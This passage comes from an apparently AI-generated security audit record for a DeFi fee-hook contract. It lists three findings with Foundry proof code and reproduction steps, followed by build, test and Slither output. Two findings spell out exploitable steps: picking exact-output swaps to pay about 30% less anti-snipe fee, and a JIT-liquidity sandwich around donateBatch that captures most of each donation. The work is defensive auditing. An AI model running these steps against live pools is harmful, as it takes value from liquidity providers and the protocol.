growth fee must be the same fraction of the trader's gross IMD regardless of\n/// whether the trader specifies the input or the output. Today an exact-output buy of the same token\n/// quantity pays 30% less hook fee than the exact-input buy that produced it.\ncontract ProofModeAsymmetryTest is Test {\n    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 constant PRICE = 79228162514264337593543950336;\n\n    PoolManager manager;\n    SIMDTEST token;\n    SIMDTESTHook hook;\n    Router router;\n    PoolKey key;\n\n    function setUp() public {\n        vm.etch(PAIR, address(new PairToken()).code);\n        deal(PAIR, address(this), 1e30);\n        manager = new PoolManager(address(this));\n        // Pair must be currency0 for this proof; redeploy the token until it sorts after PAIR.\n        do { token = new SIMDTEST(); } while (address(token) < PAIR);\n        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));\n        bytes32 salt;\n        for (uint256 i; i < 500_000; ++i) {\n            address predicted = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), keccak256(code))))));\n            if (HookFlags.matches(predicted, HookFlags.SIMDTEST)) { salt = bytes32(i); break; }\n        }\n        hook = new SIMDTESTHook{salt: salt}(manager, address(token));\n        key = hook.poolKey();\n        manager.initialize(key, PRICE);\n        router = new Router(manager);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(1_000_000 ether), bytes32(0)));\n    }\n\n    function test_SameBuyPaysSameFeeInBothSwapModes() public {\n        // Opening block: 30% anti-snipe + 0.5% growth.\n        uint256 snap = vm.snapshotState();\n        uint256 before = IERC20(PAIR).balanceOf(address(this));\n        BalanceDelta d = router.swap(key, SwapParams(true, -int256(100 ether), TickMath.MIN_SQRT_PRICE + 1));\n        uint256 tokensOut = uint256(int256(d.amount1()));\n        uint256 spentIn = before - IERC20(PAIR).balanceOf(address(this));\n        uint256 feeIn = hook.pending() + hook.antiSnipePending();\n        assertEq(spentIn, 100 ether);\n        assertEq(feeIn, 30.5 ether);\n        vm.revertToState(snap);\n\n        before = IERC20(PAIR).balanceOf(address(this));\n        router.swap(key, SwapParams(true, int256(tokensOut), TickMath.MIN_SQRT_PRICE + 1));\n        uint256 spentOut = before - IERC20(PAIR).balanceOf(address(this));\n        uint256 feeOut = hook.pending() + hook.antiSnipePending();\n\n        // Same tokens bought in the same block: the hook fee should be the same (up to rounding).\n        // Actual: exact-output pays 21.1975 IMD instead of 30.5 IMD and spends 90.6975 instead of 100.\n        assertApproxEqRel(feeOut, feeIn, 1e15, \"exact-output buy pays a different hook fee for the same trade\");\n        assertApproxEqRel(spentOut, spentIn, 1e15, \"exact-output buyer gets the same tokens for less IMD\");\n    }\n}","reproduction":"Local PoolManager, pool seeded with liquidity 1e24 in [-600,600] at price 1, opening block B (anti-snipe 30%, growth 0.5%). (1) Exact-input buy: amountSpecified = -100e18 IMD. Observed: IMD spent 100.0, hook fee 30.5 IMD (anti 30, growth 0.5), tokens out 68.626540074771493338e18. (2) Revert state; exact-output buy of those same 68.62654...e18 tokens: amountSpecified = +68626540074771493338. Observed: core IMD in (base) = 69.5 IMD, fee = 69.5*3050/10000 = 21.1975 IMD, IMD spent 90.6975. Same tokens, same block: fee 21.1975 vs 30.5 (9.3025 IMD, 30.5% less), effective rate 2337 bps vs 3050 bps. Sell side: exact-input sell of 100e18 tokens yields net 68.6245 IMD with fee 30.1158 IMD (3049 bps of gross); exact-output sell asking for the same 68.6245 IMD net charges fee 20.9305 IMD (2337 bps of gross). Expected: equal fee for the same trade in both modes.","severity":"medium","snippet":"        uint256 fee = _accrue(base * antiSnipeBps() / BPS, base * GROWTH_BPS / BPS);","title":"Hook fee rate depends on swap mode: exact-output trades pay 23.4% of gross IMD where exact-input trades pay 30.5%"},{"citation":"resolved","description":"Outside the math area but material. The growth reserve is donated through PoolManager.donate, which credits feeGrowthGlobal pro rata to liquidity in range at that instant. donateBatch() is permissionless with a public timer, so the caller can add a very narrow in-range position, call donateBatch() in the same transaction, and remove the position, taking liquidity_att/(liquidity_att+liquidity_pool) of the donation at no cost beyond gas and 1 wei of rounding. Because liquidity per unit of capital scales inversely with range width, a position 60 ticks wide needs roughly 1/20th of the capital of a [-600,600] position for the same liquidity, and far less against a full-range seed. The brief's 'liquidity growth fee ... benefiting in-range LPs' therefore mostly benefits the keeper, not the launch's LPs. The README acknowledges 'JIT LPs can capture a portion' without quantifying it. Mitigations that keep the preset: donate in small slices across many blocks (e.g. cap per call to a fraction and shorten the interval), or require the caller to be the pool's existing LP via a hook-owned position, or randomize/obscure timing; at minimum document the expected capture ratio.","line":195,"path":"src/SIMDTESTHook.sol","reproduction":"Fixture: pool liquidity 1e24 in [-600,600], price 1. (1) Exact-input buy of 1000e18 IMD at block B accrues pending = 5e18 growth; collect prior LP fees. (2) vm.warp(lastBatch + 3600). (3) Attacker in one tx: router.liquidity(key, ModifyLiquidityParams(-60, 60, +1e25, salt)) costing 36,816.67 IMD + 23,095.13 tokens; hook.donateBatch() donates 2.5e18 IMD; router.liquidity(key, ModifyLiquidityParams(-60, 60, -1e25, salt)). Observed: attacker's IMD balance rises by 2.272727272727272726e18 (90.9% of the donation), token balance changes by -1 wei; the honest [-600,600] position later collects only 0.227272727272727272e18 (9.1%). Expected per the brief: the donation accrues to the launch's in-range LPs.","severity":"medium","snippet":"            poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");","title":"donateBatch() rewards whoever is in range at call time; a JIT LP in a 60-tick band captures most of each hourly donation"},{"citation":"resolved","description":"Math-precision: fees are floored (FullMath.mulDiv and integer division) rather than rounded up, so growth = requested*50/10000 is 0 for requested < 200 wei and anti = requested*3000/10000 is 0 for requested < 4 wei; the early return then charges nothing and afterSwap is skipped because the pair is specified. The same floor applies on the unspecified path (base*50/10000). With 18-decimal IMD, 199 wei is 1.99e-16 IMD and each swap costs well over 100k gas, so there is no economic way to amplify this; it is reported for completeness as the only wrong-direction rounding in the fee math and because a fee-rounding-up convention would close it at no cost (mulDivRoundingUp, with the exact-input underflow guard requested > fee).","line":127,"path":"src/SIMDTESTHook.sol","reproduction":"Block B+10 (anti-snipe 0). Exact-input buy with amountSpecified = -199 IMD wei: expected growth fee ceil(199*0.005) = 1 wei; observed hook.pending() stays 0 and the full 199 wei is swapped. Block B: exact-input buy of 3 IMD wei: expected anti-snipe ceil(3*0.30) = 1 wei; observed antiSnipePending() = 0. Exact-input sell producing 398 token-wei of IMD output accrues 1 wei growth (398*50/10000 = 1), showing the floor is per swap and per reserve.","severity":"low","snippet":"        if (fee == 0) return (IHooks.beforeSwap.selector, toBeforeSwapDelta(0, 0), 0);","title":"Hook fees round down to zero for specified IMD amounts below 200 wei (and anti-snipe below 4 wei), so dust swaps are fee-free"}],"hash":"fe6e1100a9e91219cf7d8d933df1490eb8d9391f0be1634ecf4f22928b3454c7","nodeId":"eae66307-bc57-4032-b05d-fda5493179fd","outcome":"completed","summary":"Review complete. The findings file is written at `.imd-findings.json` with 3 findings and 13 coverage rows (all 10 entry points plus 3 invariants). The build and the existing 44-test suite pass unchanged. No source files were modified and the scratch directory is removed.\n\n**Findings**\n\n- **Medium, swap-mode fee asymmetry (my area, Numerical Gap seam).** The specified-IMD paths charge 30.5% of the trader's gross budget, but afterSwap charges 30.5% of the core's net delta, so an exact-output trade pays 0.305/1.305 = 23.37% of gross. Measured in block B: an exact-input buy of 100 IMD pays 30.5 IMD fee for 68.6265 tokens, while an exact-output buy of the same tokens pays 21.1975 IMD fee and spends 90.6975 IMD. Sells show the same split (3049 bps vs 2337 bps of gross). A sniper simply picks exact-output to cut the anti-snipe fee by 30%. A self-contained proof test is attached that fails now and passes once both modes use one base.\n- **Medium, JIT capture of donateBatch (outside my area, reported for severity).** Adding a 60-tick-wide position with 10x the pool liquidity, calling donateBatch, and removing it in one transaction took 90.9% of a 2.5 IMD donation at a cost of 1 wei. Honest LPs in the seeded range received 9.1%. The README admits \"a portion\" can be captured but does not quantify it.\n- **Low, fees floor to zero below 200 wei.** Growth fee is 0 for specified amounts under 200 wei and anti-snipe is 0 under 4 wei. Dust-level with no economic amplification, reported as the only wrong-direction rounding in the fee math.\n\n**What holds.** Partial-fill proration preserves the 30.5% ratio (measured 3049 to 3050 bps), the rollback-only quote is deterministic because PoolManager skips self-initiated hook callbacks, every int128 cast is bounded by the core's own toInt128 on executed deltas, the int256.min and UnrepresentableFee edges behave as documented, and the claims-equals-pending invariant survives sweep, donate and failed-settlement paths. The Slither strict-equality and unused-return leads are benign on inspection.\n\n**Not reached.** Live mainnet-fork behaviour of the real IMD token remains unverified, as the project itself notes.","treeHash":null,"usage":{"cachedInputTokens":2128983,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":44603,"runtime":"claude","turns":42,"wallClockMs":688335}}],"verification":[{"checks":[{"durationMs":3157,"exitCode":0,"name":"build","output":"Compiling 91 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.03s\nCompiler run successful!\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/SIMDTESTHook.sol:58:40\n   │\n58 │     constructor(IPoolManager manager_, address token_) {\n   │                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:250:9\n    │\n250 │         emit FeesAccrued(anti, growth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:130:22\n    │\n130 │         if (target > uint256(type(int256).max)) revert UnrepresentableFee();\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:133:44\n    │\n133 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:133:61\n    │\n133 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:143:63\n    │\n143 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:143:70\n    │\n143 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `operating` is updated\n    ╭▸ src/SIMDTESTHook.sol:194:9\n    │\n194 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:176:9\n    │\n176 │         emit Swept(msg.sender, amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:22\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:30\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:67\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:75\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SIMDTESTHook.sol:182:13\n    │\n182 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:189:9\n    │\n189 │         emit Donated(msg.sender, amount, block.timestamp);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:22\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:30\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:67\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:75\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:194:9\n    │\n194 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:205:13\n    │\n205 │             poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:225:40\n    │\n225 │             if (reason.length == 36 && bytes4(reason) == QuoteResult.selector) {\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:239:32\n    │\n239 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:239:60\n    │\n239 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n   ╭▸ test/AccountingInvariant.t.sol:52:17\n   │\n52 │         vm.warp(block.timestamp + bound(elapsed, 0, 7200));\n   │         ────────━━━━━━━━━━━━━━━─────────────────────────── `vm.warp` changes this environment here\n   │\n   ├ help: capture it with `vm.getBlockTimestamp()` instead\n   ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":1030,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 281.20µs (0.00ns CPU time)\n\nRan 2 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookFreshManagerTest\n[PASS] test_EmptyPoolSwapDoesNotAccrueFees() (gas: 916056)\n[PASS] test_TokenOnlyLiquidityFirstBuyWithoutManagerIMD() (gas: 1024406)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 33.64ms (1.73ms CPU time)\n\nRan 1 test for test/SIMDTESTHook.t.sol:SIMDTESTHookReverseOrderTest\n[PASS] test_AllSwapModesWithPairAsCurrency1() (gas: 17290701)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 37.04ms (17.41ms CPU time)\n\nRan 2 tests for test/DonationRecipients.t.sol:DonationRecipientsTest\n[PASS] test_NewInRangePositionReceivesItsProportionalDonation() (gas: 1467149)\n[PASS] test_OnlyInRangePositionReceivesEntireDonation() (gas: 1521714)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 43.41ms (2.57ms CPU time)\n\nRan 3 tests for test/FeeBasis.t.sol:FeeBasisPair0Test\n[PASS] testFuzz_EquivalentTrades(bool,uint96,uint8) (runs: 1000, μ: 766868, ~: 765831)\n[PASS] test_EquivalentTradesAtEveryFeeRate() (gas: 18271687)\n[PASS] test_EquivalentTradesAtPriceLimit() (gas: 16801777)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 140.13ms (153.28ms CPU time)\n\nRan 4 tests for test/SIMDTEST.t.sol:SIMDTESTTest\n[PASS] testFuzz_FactoryAndPoolTransfersHaveNoTax(uint256) (runs: 1000, μ: 177944, ~: 177964)\n[PASS] test_FactoryReceivesWholeFixedSupply() (gas: 44091)\n[PASS] test_NoPostDeploymentMintOrAdminSelectors() (gas: 273327)\n[PASS] test_RejectOverspendAndMissingAllowance() (gas: 62008)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 140.46ms (140.61ms CPU time)\n\nRan 3 tests for test/FeeBasis.t.sol:FeeBasisPair1Test\n[PASS] testFuzz_EquivalentTrades(bool,uint96,uint8) (runs: 1000, μ: 766494, ~: 764892)\n[PASS] test_EquivalentTradesAtEveryFeeRate() (gas: 18256951)\n[PASS] test_EquivalentTradesAtPriceLimit() (gas: 16799046)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 140.48ms (162.87ms CPU time)\n\nRan 19 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookTest\n[PASS] testFuzz_PartialFillLargeRequests(bool,bool,uint256,uint8) (runs: 1000, μ: 398789, ~: 378555)\n[PASS] testFuzz_SwapAccounting(bool,bool,uint96,uint8) (runs: 1000, μ: 428313, ~: 412685)\n[PASS] test_AllBlocksAndSwapModes() (gas: 17048945)\n[PASS] test_DonationTimingHalfAndLPEarnings() (gas: 1103046)\n[PASS] test_DonationWithoutLiquidityRollsBack() (gas: 785054)\n[PASS] test_EmptyDonationDoesNotConsumeTimer() (gas: 678235)\n[PASS] test_FailedSweepPreservesClaimsAndDoesNotBlockSwaps() (gas: 1150766)\n[PASS] test_InitializationValidatesBeforeBinding() (gas: 92202196)\n[PASS] test_Int256MinimumInputCanPartiallyFill() (gas: 386561)\n[PASS] test_InvalidPermissionAddressRefusesDeployment() (gas: 17873)\n[PASS] test_PermissionsAndInitialization() (gas: 25932)\n[PASS] test_QuoteRollsBackPriceAndFeeGrowth() (gas: 914003)\n[PASS] test_RejectOtherPoolsAndSecondInitialization() (gas: 112335)\n[PASS] test_RuntimeAndCreationSizesNoEscapeOpcodes() (gas: 2146867)\n[PASS] test_SweepPermissionlessAndSeparateFromDonation() (gas: 724724)\n[PASS] test_TinySwapsRoundDownAndSettle() (gas: 7416052)\n[PASS] test_UnauthorizedCallbacksAndQuote() (gas: 183694)\n[PASS] test_UnrepresentableExactOutputRevertsClearly() (gas: 152671)\n[PASS] test_UnsettledSwapRollsBackFees() (gas: 351978)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 150.62ms (295.40ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS] invariant_AllFeesConservedAndAllDeltasSettled() (runs: 128, calls: 6144, reverts: 0)\n\n╭-------------------+----------+-------+---------+----------╮\n| Contract          | Selector | Calls | Reverts | Discards |\n+===========================================================+\n| AccountingHandler | donate   | 2128  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | sweep    | 1968  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | trade    | 2048  | 0       | 0        |\n╰-------------------+----------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 944.86ms (913.65ms CPU time)\n\nRan 9 test suites in 947.07ms (1.63s CPU time): 35 tests passed, 0 failed, 1 skipped (36 total tests)\n","passed":true},{"durationMs":44,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SIMDTEST.approve(address,uint256)\",\"SIMDTEST.transfer(address,uint256)\",\"SIMDTEST.transferFrom(address,address,uint256)\",\"SIMDTESTHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SIMDTESTHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SIMDTESTHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"SIMDTESTHook.donateBatch()\",\"SIMDTESTHook.quotePairDelta((address,address,uint24,int24,address),(bool,int256,uint160))\",\"SIMDTESTHook.sweep()\",\"SIMDTESTHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"LICENSE\":23,\"README.md\":91,\"docs/DEPENDENCIES.md\":36,\"docs/SECURITY-REVIEW.md\":46,\"foundry.toml\":16,\"launch.json\":27,\"script/MineHook.sol\":24,\"src/HookFlags.sol\":30,\"src/SIMDTEST.sol\":11,\"src/SIMDTESTHook.sol\":252,\"test/AccountingInvariant.t.sol\":89,\"test/DonationRecipients.t.sol\":61,\"test/FeeBasis.t.sol\":92,\"test/MainnetFork.t.sol\":50,\"test/SIMDTEST.t.sol\":68,\"test/SIMDTESTHook.t.sol\":334,\"test/helpers/LaunchFixture.sol\":131,\"test/helpers/PoolRouter.sol\":56,\"test/mocks/MockERC20.sol\":9},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":909,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/SIMDTESTHook.sol:243: SIMDTESTHook._accrue(uint256,uint256) (src/SIMDTESTHook.sol#243-251) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SIMDTESTHook.sol:117: SIMDTESTHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/SIMDTESTHook.sol#117-144) uses a dangerous strict equality:\n[medium/medium] unused-return at src/SIMDTESTHook.sol:192: SIMDTESTHook._unlock(bool,uint256) (src/SIMDTESTHook.sol#192-196) ignores return value by poolManager.unlock(abi.encode(donate,amount)) (src/SIMDTESTHook.sol#194)\n[medium/medium] unused-return at src/SIMDTESTHook.sol:198: SIMDTESTHook.unlockCallback(bytes) (src/SIMDTESTHook.sol#198-210) ignores return value by poolManager.donate(poolKey(),amount,0,) (src/SIMDTESTHook.sol#205)\n[medium/medium] unused-return at src/SIMDTESTHook.sol:198: SIMDTESTHook.unlockCallback(bytes) (src/SIMDTESTHook.sol#198-210) ignores return value by poolManager.donate(poolKey(),0,amount,) (src/SIMDTESTHook.sol#205)\n[low/medium] reentrancy-benign at src/SIMDTESTHook.sol:192: Reentrancy in SIMDTESTHook._unlock(bool,uint256) (src/SIMDTESTHook.sol#192-196):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:117: Reentrancy in SIMDTESTHook.beforeSwap(address,PoolKey,SwapParams,bytes) 